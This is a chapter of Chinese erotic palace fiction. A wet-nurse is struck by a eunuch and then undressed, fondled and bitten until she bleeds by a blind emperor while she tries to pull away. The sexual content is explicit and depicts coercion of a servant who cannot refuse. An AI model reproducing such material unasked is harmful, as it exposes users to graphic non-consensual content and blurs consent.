这一夜她总是半梦半醒,就算睡著了做的也全是可怕的噩梦,一惊一乍地熬了一夜,再睁开眼时天色还是全黑,可她再也不敢躺回去了,只好抱著膝盖缩在床上静等卯时到来。

等到窗外总算响起了打更声,她忙起身刷洗,东西倒都在屋里,一下就打理好了,她整整衣裳朝外走,冬天的早晨亮得迟,这会儿天色还是很黑,四下里也寂静,只有长廊上几步一盏的风灯指引方向。

她凭著记忆在长廊上摸索著转来转去,终於听到一些人声,快步过去,果然见到十数个宫女成排地端著托盆朝一个大殿里走,一边还有许多小太监垂首站立,其中一个看到她顿时伸手一拦:“哪个宫里的?”

欢颜一抖,正不知怎麽回答,却听一个女子声音:“瞎了你的狗眼,瞧衣裳瞧不出来麽?”正是昨天那个女的。

欢颜转头,这才将这女人看了一眼,容长脸,杏眼含威,虽是宫女打扮,可气派却不比别的宫女,大概是个管事的。那太监经她一喝,忙退後一步:“哦原来是她呀,姚姑姑,您请吧,里头正等著呢。”

那姚姑姑朝欢颜招手让她过去,将她上下打量了,目光稍为和蔼了些:“挺素净的,正是要这样,跟我来吧。”欢颜忙跟著她往里走。

进了大殿,便见这里点了无数蜡烛,照得亮如白昼。大殿深处一张硕大的大床边垂头站著几个太监宫女,欢颜跟著姚姑姑走近些,便听她道:“皇上,她来啦。”

那边有个声音轻嗯了声,姚姑姑示意欢颜站到一边等著,转身出去了。

欢颜垂头站在那里却是一个劲地发抖,虽然她初入乔府时也是奶娘,可是因与乔氏兄弟二人的交欢,更大程度上她是作为他们的宠妾床伴而存在,但此时此刻,却要成为年纪怕是跟乔氏兄弟差不多的陌生男人的奶娘,这又怎麽不叫她胆战心惊呢。

不过似乎没理会她的存在,只听到窸窸窣窣的穿衣声响了好一会才停,接著几个太监宫女都出大殿,一时间殿内回复安静,欢颜站在床角这边正紧张不安,却听一个声音道:“过来。”

她不由得又是一抖,这个声音果然是那天在庙里的那个人,没想到他竟真的是皇帝……她双手紧紧捏著衣衫,不得不朝那边慢慢挪过去。

垂落的深红色床幔在眼前慢慢移开,她盯著自己的脚,一步步往前走,眼角靠近那床了就立刻停下,不敢再走。

那皇帝就在面前,却依旧说:“再过来些。”语气倒是淡淡的,这让欢颜略为壮了壮胆,又朝前挪了几步。

“你叫什麽?”

“我……奴……奴婢叫乔欢颜!”她话音刚落,一边忽然有人怒喝:“大胆!”也不知从哪蹦出来的一个太监指著她大喝:“小贱人胆敢冒犯天威。”

欢颜愣愣的不知道自己哪里出错了,那太监看她出神更是大怒,一抬脚狠狠踹在她膝弯处,踢的她“砰”地一声硬是跪到了地上,膝盖上的剧痛才刚刚传来,脸上又受了一掌,被打得晕头转向的欢颜简直半飞著扑倒在地。

那太监还要再打,皇帝却开了口:“退下。”

那太监竟是不理:“皇上,这下贱的奶女也敢冒犯天姓,应该立刻拉出来斩首示众。”欢颜这才明白是自己名字惹的祸事。

皇帝却道:“天下姓乔的又不是只有皇室一家,徐培盛,你退下吧。”那个太监却是不甘,退虽退了却一路哼哼著,好一会才走了。

欢颜匍匐在地,只觉浑身都疼,正要挣扎著爬起来,却见面前伸过一双手,肤色雪白细嫩,十指修长,离她不过半寸距离:“还能起来吗?”

欢颜这才惊觉刚刚那太监一个耳光竟是将她扇到了这皇帝床前,虽然那手就在眼前,可她哪里敢扶,忙撑著自己爬了起来,虽然身上依旧疼痛,可也顾不得了,正想退开一步,面前那手却忽然朝她递过来,她就站在他面前的脚榻前,他是坐著的,一伸手正好触到她的胸脯。

欢颜一呆,顿时满脸通红,忙退开一步,皇帝却道:“你再走近些。”她盯著那手,不得不往前小挪,那只手停在半空没有收回的意思。“你很怕麽?”皇帝的语调竟是温柔,“不要怕,把手给朕。”

欢颜呆了一呆,才慢慢伸手出去,可是她明明已经将手递到那只手边,皇帝却依旧在说:“在哪?唉,朕看不见呀,还是你握住朕的手吧。”

三十九、吃奶进行时(微H)

看不见?欢颜愕然抬头,目光顿时被眼前这面孔牢牢吸引。

他还没有束冠,乌黑油亮的长发披在肩上衬得那身黄袍十分触目,他的神色淡淡,双瞳奇黑,分明朝前望著,可眼中却没半点能看到她的痕迹。因为是刚刚睡醒,他的神色尚有一点儿迷蒙,连带著黑瞳中都是水气蒸腾。

“把手给朕。”他的语气很慢,令欢颜总算有点儿安稳下来,她犹豫著还是将手递到他掌中,他紧紧一握:“你的手真冷,你穿得很少吗?”说著他将她拉到自己身前。

欢颜站在脚榻上,就近看著他,还是有点晕呼呼的感觉,没想到这个皇帝竟是个瞎子,她不由得有些同情。

他虽坐著却比她矮得不多,一只手还是握著她手,一只手则慢慢抚摸上她的脸,一点一点移动手指,似乎在勾勒她的长相。柔软的指尖划过她的眉眼鼻梁,又顺著她的脸形轻抚一圈,最後落在她嘴唇上,却没有立刻离开,而是停在那里轻轻地,一下下慢慢厮摩:“欢颜是吗?名字很好听。”

欢颜不敢支声,反正她有也点怔忡中,这个皇帝……究竟是不是当天那个呀?怎麽感觉完全不同?那天的那个给她留下的实在是太强势太可怕的印象,没想到这个竟是如此温柔的。难道这个也跟乔家兄弟一样是双胞胎?看著像一个,其实是两个人?

她还在那里胡思乱想,赫然回神时,发现皇帝的双手已经放开她,并且……他在她身上摸索著正在解她的衣带!

她吓了一跳,本能地想要後退,皇帝却是手上一紧,带著他手中正握著的腰带将她往身前拉了拉:“你不要怕。朕不会伤害你的。”

欢颜明明还是很怕的,可不知为什麽因他这句话却又对著他的脸出起神来,想不到皇帝竟是这样的?她还以为……

是肌肤裸露在外的感觉令她再度回神,她的前襟已经全开,双乳半遮半掩地露出一半,他微仰著脸,脸侧了侧,竟是含笑:“好香。”

还没等她将眼前这令她简直魂魄齐飞的笑容消化掉,他的手掌已经摸上她的双乳,他的指尖微凉,手上的动作却十分温柔。轻轻地将滚圆的双乳握住,他微微使力将她朝自己又拉近几分,开始一下一下地揉搓起她的乳房来。

他的动作太过温柔而细腻,微热的掌心更是如有吸力,欢颜被他又握又捏的竟然有些心猿意马起来,乳尖因此渐渐充溢著膨胀感,要控制身躯不去摇摆迎合他的动作,就已经要用去她大部分的定力,更何况他的手还在一步步地引诱著她。

纤长的十指在两颗圆乳上拧转滑动,不时地用食指和麽指捏弹乳尖,晕红的小乳头慢慢地发红硬挺,他又用双指夹住乳尖轻拉摁扭,欢颜不得不咬紧下唇才能忍住那已经冲到喉咙口的呻吟声,可脸孔已经涨得飞红,并且为自己身体的反应感到不安与愧疚。因为身体的秘密只有她自己知道,她竟然只在他抚摸双乳时,就已经湿了花穴。双腿间湿濡感越来越强,她又羞又怕,不由得又朝後挪。

“别逃。”他轻语,同时握著乳房的双手使力,将她拉得更贴近他,他凑过来,轻软的粉红舌头从他雪白的齿间溜出来在她左乳上轻轻一舔。

欢颜简直战栗起来,他却握得更紧,同时舌尖如蛇在左乳房上卷舔出一圈又一圈的湿热感,小而绵软的触碰令欢颜都快将自己的下唇咬出血来,这实在是折磨,她甚至已经在想,他不是要吃奶吗?为什麽还不吃呀,吃完就放她走吧,她快要疯了。

“皇……皇上……”她渐渐地控制不住自己,不由得出声求饶。

却不知她此时的声音对他简直也是一种催化剂,他的下胯竟是一挺,这反应令他自己都有些诧异:“你要说什麽?”他含著她的乳尖,声音有些含糊不清。

何况她也根本听不出他的情绪变化来,她只想求饶,或者,催他能快点:“我……奴婢觉得……奶水溢……溢出来了……”

她话里的含意竟是令他笑了,他将头更深地埋到她双乳上,用那柔软的丰富遮盖他已经控制不住的笑靥:“是呀,真香。”他的语调依旧淡淡。

“那……”她简直就要提议了,幸好理智尚存,她猛然惊觉此刻自己怀里的不是乔灼乔炽,而是当今天子,是能够将乔炽关起来,有生杀大权的皇帝。

这忽如其来的念头如同一盆冷水,将她已经濒临绝境地的五感拉回正途,而她忽然僵硬的身体他立刻察觉到了,他的舔弄似乎也终於被其影响,他张嘴将她乳头紧紧含住用力吸吮,力道之大,简直令欢颜直抽冷气。

他握著她乳房的手依旧还是温柔的,可他口中的动作只有欢颜知晓,他在咬她,她拼命地想缩身子,换来的却是他更迫切的啃咬,乳尖上剧痛连连,她觉得他这会儿又跟那天在庙里那个他很像了。而不管她愿不愿意,她终究是挣扎起来,因为太痛了,他好像要将她乳头咬碎了吃掉似的。

可不管她怎麽挣扎也是无果,因为他干脆用双腿将她紧紧夹住,一只手用来握住她的乳房,另一只手则已经绕到她後腰上,用力摁她,将她贴近自己,他像失去自控力一样地吸吮她,直到口中传来一点淡淡的血腥气他才惊觉过来终於放开了她的左乳。

但还没等她舒出口气,他又扑到她的右乳上继续攻城掠地,狂啃猛吸,可是此时此刻,她却不敢再挣扎了,因为她贴得他太近,她清楚感觉到的,是他双腿之间那已经昂然的欲望,正紧紧地抵著她。

这,究竟是怎麽了?